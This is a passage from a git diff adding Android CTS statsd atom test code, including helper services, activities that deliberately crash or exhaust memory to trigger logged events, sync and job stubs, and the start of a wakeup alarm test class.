+        public String getAuthTokenLabel(String authTokenType) {
+            return "token_label";
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+                String[] features) throws NetworkErrorException {
+            return new Bundle();
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
new file mode 100644
index 0000000..d7ac653
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.IntentService;
+import android.content.Intent;
+import android.util.Log;
+
+/** An service (to be run as a background process) which performs one of a number of actions. */
+public class StatsdCtsBackgroundService extends IntentService {
+    private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
+    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+
+    public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
+
+    public StatsdCtsBackgroundService() {
+        super(StatsdCtsBackgroundService.class.getName());
+    }
+
+    @Override
+    public void onHandleIntent(Intent intent) {
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from background service.");
+
+        switch (action) {
+            case ACTION_BACKGROUND_SLEEP:
+                AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
+                break;
+            case ACTION_END_IMMEDIATELY:
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action");
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
new file mode 100644
index 0000000..58db263
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.usage.NetworkStatsManager;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.net.ConnectivityManager;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+
+/** An activity (to be run as a foreground process) which performs one of a number of actions. */
+public class StatsdCtsForegroundActivity extends Activity {
+    private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_CRASH = "action.crash";
+    public static final String ACTION_NATIVE_CRASH = "action.native_crash";
+    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
+    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
+    public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
+    public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
+    public static final String ACTION_LMK = "action.lmk";
+
+    public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
+    public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
+    public static final int LONG_SLEEP_WHILE_TOP = 60_000;
+
+    static {
+        System.loadLibrary("crashhelper");
+        System.loadLibrary("lmkhelper_statsdatom");
+    }
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_END_IMMEDIATELY:
+                finish();
+                break;
+            case ACTION_CRASH:
+                doCrash();
+                break;
+            case ACTION_NATIVE_CRASH:
+                doNativeCrash();
+                break;
+            case ACTION_SLEEP_WHILE_TOP:
+                doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
+                break;
+            case ACTION_LONG_SLEEP_WHILE_TOP:
+                doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
+                break;
+            case ACTION_SHOW_APPLICATION_OVERLAY:
+                doShowApplicationOverlay();
+                break;
+            case ACTION_SHOW_NOTIFICATION:
+                doShowNotification();
+                break;
+            case ACTION_CREATE_CHANNEL_GROUP:
+                doCreateChannelGroup();
+                break;
+            case ACTION_POLL_NETWORK_STATS:
+                doPollNetworkStats();
+                break;
+            case ACTION_LMK:
+                new Thread(this::cmain).start();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+    }
+
+    /** Does nothing, but asynchronously. */
+    private void doSleepWhileTop(int sleepTime) {
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                AtomTests.sleep(sleepTime);
+                return null;
+            }
+
+            @Override
+            protected void onPostExecute(Void nothing) {
+                finish();
+            }
+        }.execute();
+    }
+
+    private void doShowApplicationOverlay() {
+        // Adapted from BatteryStatsBgVsFgActions.java.
+        final WindowManager wm = getSystemService(WindowManager.class);
+        Point size = new Point();
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+        wmlp.width = size.x / 4;
+        wmlp.height = size.y / 4;
+        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
+        wmlp.setTitle(getPackageName());
+
+        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+
+        View v = new View(this);
+        v.setBackgroundColor(Color.GREEN);
+        v.setLayoutParams(vglp);
+        wm.addView(v, wmlp);
+
+        // The overlay continues long after the finish. The following is just to end the activity.
+        AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
+        finish();
+    }
+
+    private void doShowNotification() {
+        final int notificationId = R.layout.activity_main;
+        final String notificationChannelId = "StatsdCtsChannel";
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setDescription("Statsd Cts Channel");
+        nm.createNotificationChannel(channel);
+
+        nm.notify(
+                notificationId,
+                new Notification.Builder(this, notificationChannelId)
+                        .setSmallIcon(android.R.drawable.stat_notify_chat)
+                        .setContentTitle("StatsdCts")
+                        .setContentText("StatsdCts")
+                        .build());
+        nm.cancel(notificationId);
+        finish();
+    }
+
+    private void doCreateChannelGroup() {
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
+                "Statsd Cts Group");
+        channelGroup.setDescription("StatsdCtsGroup Description");
+        nm.createNotificationChannelGroup(channelGroup);
+        finish();
+    }
+
+    // Trigger force poll on NetworkStatsService to make sure the service get most updated network
+    // stats from lower layer on subsequent verifications.
+    private void doPollNetworkStats() {
+        final NetworkStatsManager nsm =
+                (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
+
+        // While the flag of force polling is the only important thing needed when making binder
+        // call to service, the type, parameters and returned result of the query here do not
+        // matter.
+        try {
+            nsm.setPollForce(true);
+            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
+                    Long.MAX_VALUE);
+        } catch (RemoteException e) {
+            Log.e(TAG, "doPollNetworkStats failed with " + e);
+        } finally {
+            finish();
+        }
+    }
+
+    @SuppressWarnings("ConstantOverflow")
+    private void doCrash() {
+        Log.e(TAG, "About to crash the app with 1/0 " + (long) 1 / 0);
+    }
+
+    private void doNativeCrash() {
+        Log.e(TAG, "About to segfault the app");
+        segfault();
+    }
+
+    private native void segfault();
+
+    /**
+     *  Keep allocating memory until the process is killed by LMKD.
+     **/
+    public native void cmain();
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java
new file mode 100644
index 0000000..9345c21
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundService.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Process;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+public class StatsdCtsForegroundService extends Service {
+    private static final String TAG = "SimpleForegroundService";
+    private static final String NOTIFICATION_CHANNEL_ID = "Foreground Service";
+
+    // TODO: pass this in from host side.
+    public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
+
+    private Looper mServiceLooper;
+    private ServiceHandler mServiceHandler;
+    private boolean mChannelCreated;
+
+    private final class ServiceHandler extends Handler {
+        public ServiceHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            Log.i(TAG, "Handling message.");
+            // Sleep.
+            try {
+                Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE);
+            } catch (InterruptedException e) {
+                // Restore interrupt status.
+                Thread.currentThread().interrupt();
+            }
+            Log.i(TAG, "Stopping service.");
+            // Stop the service using the startId, so that we don't stop
+            // the service in the middle of handling another job
+            stopSelf(msg.arg1);
+        }
+    }
+
+    @Override
+    public void onCreate() {
+        // Start up the thread running the service.  Note that we create a
+        // separate thread because the service normally runs in the process's
+        // main thread, which we don't want to block.  We also make it
+        // background priority so CPU-intensive work will not disrupt our UI.
+        HandlerThread thread = new HandlerThread("ServiceStartArguments",
+                Process.THREAD_PRIORITY_BACKGROUND);
+        thread.start();
+
+        // Get the HandlerThread's Looper and use it for our Handler
+        mServiceLooper = thread.getLooper();
+        mServiceHandler = new ServiceHandler(mServiceLooper);
+
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.O_MR1)) {
+            return;
+        }
+        // OMR1 requires notification channel to be set
+        NotificationManager notificationManager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID,
+                NotificationManager.IMPORTANCE_HIGH);
+        notificationManager.createNotificationChannel(channel);
+        mChannelCreated = true;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle("CTS Foreground")
+                .setSmallIcon(android.R.drawable.ic_secure)
+                .build();
+        Log.i(TAG, "Starting Foreground.");
+        startForeground(1, notification);
+
+        Message msg = mServiceHandler.obtainMessage();
+        msg.arg1 = startId;
+        mServiceHandler.sendMessage(msg);
+
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy () {
+        if (mChannelCreated) {
+            NotificationManager notificationManager =
+                    (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+            notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java
new file mode 100644
index 0000000..94d19ce
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdJobService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.Context;
+import android.os.Handler;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Handles callback from the framework {@link android.app.job.JobScheduler}.
+ * Runs a job for 0.5 seconds. Provides a countdown latch to wait on, by the test that schedules it.
+ */
+@TargetApi(21)
+public class StatsdJobService extends JobService {
+  private static final String TAG = "AtomTestsJobService";
+
+  JobInfo mRunningJobInfo;
+  JobParameters mRunningParams;
+
+  private static final Object sLock = new Object();
+
+  @GuardedBy("sLock")
+  private static CountDownLatch sLatch;
+
+  final Handler mHandler = new Handler();
+  final Runnable mWorker = new Runnable() {
+    @Override public void run() {
+      try {
+        Thread.sleep(500);
+      } catch (InterruptedException e) {
+      }
+
+      jobFinished(mRunningParams, false);
+
+      synchronized (sLock) {
+        if (sLatch != null) {
+          sLatch.countDown();
+        }
+      }
+    }
+  };
+
+  public static synchronized CountDownLatch resetCountDownLatch() {
+    synchronized (sLock) {
+      if (sLatch == null || sLatch.getCount() == 0) {
+        sLatch = new CountDownLatch(1);
+      }
+    }
+    return sLatch;
+  }
+
+  @Override
+  public boolean onStartJob(JobParameters params) {
+    mRunningParams = params;
+    mHandler.post(mWorker);
+    return true;
+  }
+
+  @Override
+  public boolean onStopJob(JobParameters params) {
+    return false;
+  }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java
new file mode 100644
index 0000000..db39a5b
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdProvider.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+/**
+ * Provider for the sync test.
+ */
+public class StatsdProvider extends ContentProvider {
+    public static final String AUTHORITY = "com.android.server.cts.device.statsdatom.provider";
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java
new file mode 100644
index 0000000..d7c5829
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncAdapter.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.accounts.Account;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+
+import org.junit.Assert;
+
+import java.util.concurrent.CountDownLatch;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Sync adapter for the sync test.
+ */
+public class StatsdSyncAdapter extends AbstractThreadedSyncAdapter {
+    private static final String TAG = "AtomTestsSyncAdapter";
+
+    private static final int TIMEOUT_SECONDS = 60 * 2;
+
+    private static CountDownLatch sLatch;
+
+    private static final Object sLock = new Object();
+
+
+    public StatsdSyncAdapter(Context context) {
+        // No need for auto-initialization because we set isSyncable in the test anyway.
+        super(context, /* autoInitialize= */ false);
+    }
+
+    @Override
+    public void onPerformSync(Account account, Bundle extras, String authority,
+            ContentProviderClient provider, SyncResult syncResult) {
+        try {
+            Thread.sleep(500);
+        } catch (InterruptedException e) {
+        }
+        synchronized (sLock) {
+            Log.i(TAG, "onPerformSync");
+            if (sLatch != null) {
+                sLatch.countDown();
+            } else {
+                Log.w(TAG, "sLatch is null, resetCountDownLatch probably should have been called");
+            }
+        }
+    }
+
+    /**
+     * Request a sync on the given account, and wait for it.
+     */
+    public static void requestSync(Account account) throws Exception {
+        final Bundle extras = new Bundle();
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_EXPEDITED, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_BACKOFF, true);
+        extras.putBoolean(ContentResolver.SYNC_EXTRAS_IGNORE_SETTINGS, true);
+
+        ContentResolver.requestSync(account, StatsdProvider.AUTHORITY, extras);
+    }
+
+    public static CountDownLatch resetCountDownLatch() {
+        synchronized (sLock) {
+            if (sLatch == null || sLatch.getCount() == 0) {
+                sLatch = new CountDownLatch(1);
+            }
+        }
+        return sLatch;
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java
new file mode 100644
index 0000000..6270987
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdSyncService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+/**
+ * Service for the sync test.
+ */
+public class StatsdSyncService extends Service {
+
+    private static StatsdSyncAdapter sAdapter;
+
+    @Override
+    public synchronized IBinder onBind(Intent intent) {
+        if (sAdapter == null) {
+            sAdapter = new StatsdSyncAdapter(getApplicationContext());
+        }
+        return sAdapter.getSyncAdapterBinder();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java
new file mode 100644
index 0000000..28bd63b
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/VideoPlayerActivity.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.widget.VideoView;
+
+public class VideoPlayerActivity extends Activity {
+    private static final String TAG = VideoPlayerActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_PLAY_VIDEO = "action.play_video";
+    public static final String ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE =
+            "action.play_video_picture_in_picture_mode";
+
+    public static final int DELAY_MILLIS = 2000;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_PLAY_VIDEO:
+                playVideo();
+                break;
+            case ACTION_PLAY_VIDEO_PICTURE_IN_PICTURE_MODE:
+                playVideo();
+                this.enterPictureInPictureMode();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+        delay();
+    }
+
+    private void playVideo() {
+        setContentView(R.layout.activity_main);
+        VideoView videoView = (VideoView)findViewById(R.id.video_player_view);
+        videoView.setVideoPath("android.resource://" + getPackageName() + "/" + R.raw.colors_video);
+        videoView.start();
+    }
+
+    private void delay() {
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                SystemClock.sleep(DELAY_MILLIS);
+                return null;
+            }
+            @Override
+            protected void onPostExecute(Void nothing) {
+                finish();
+            }
+        }.execute();
+    }
+}
+
+
+
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java
new file mode 100644
index 0000000..b359ced
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/WakelockLoadTestRunnable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.content.Context;
+import android.os.PowerManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+
+public class WakelockLoadTestRunnable implements Runnable {
+    String tag;
+    CountDownLatch latch;
+    WakelockLoadTestRunnable(String t, CountDownLatch l) {
+        tag = t;
+        latch = l;
+    }
+    @Override
+    public void run() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, tag);
+        long sleepTimeNs = 700_000;
+
+        for (int i = 0; i < 1000; i++) {
+            wl.acquire();
+            long startTime = System.nanoTime();
+            while (System.nanoTime() - startTime < sleepTimeNs) {}
+            wl.release();
+            startTime = System.nanoTime();
+            while (System.nanoTime() - startTime < sleepTimeNs) {}
+        }
+        latch.countDown();
+    }
+
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS
new file mode 100644
index 0000000..daf163a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the WakeupAlarmOccurred atom
+suprabh@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java
new file mode 100644
index 0000000..bc97dc2
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/alarm/WakeupAlarmStatsTests.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.alarm;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class WakeupAlarmStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
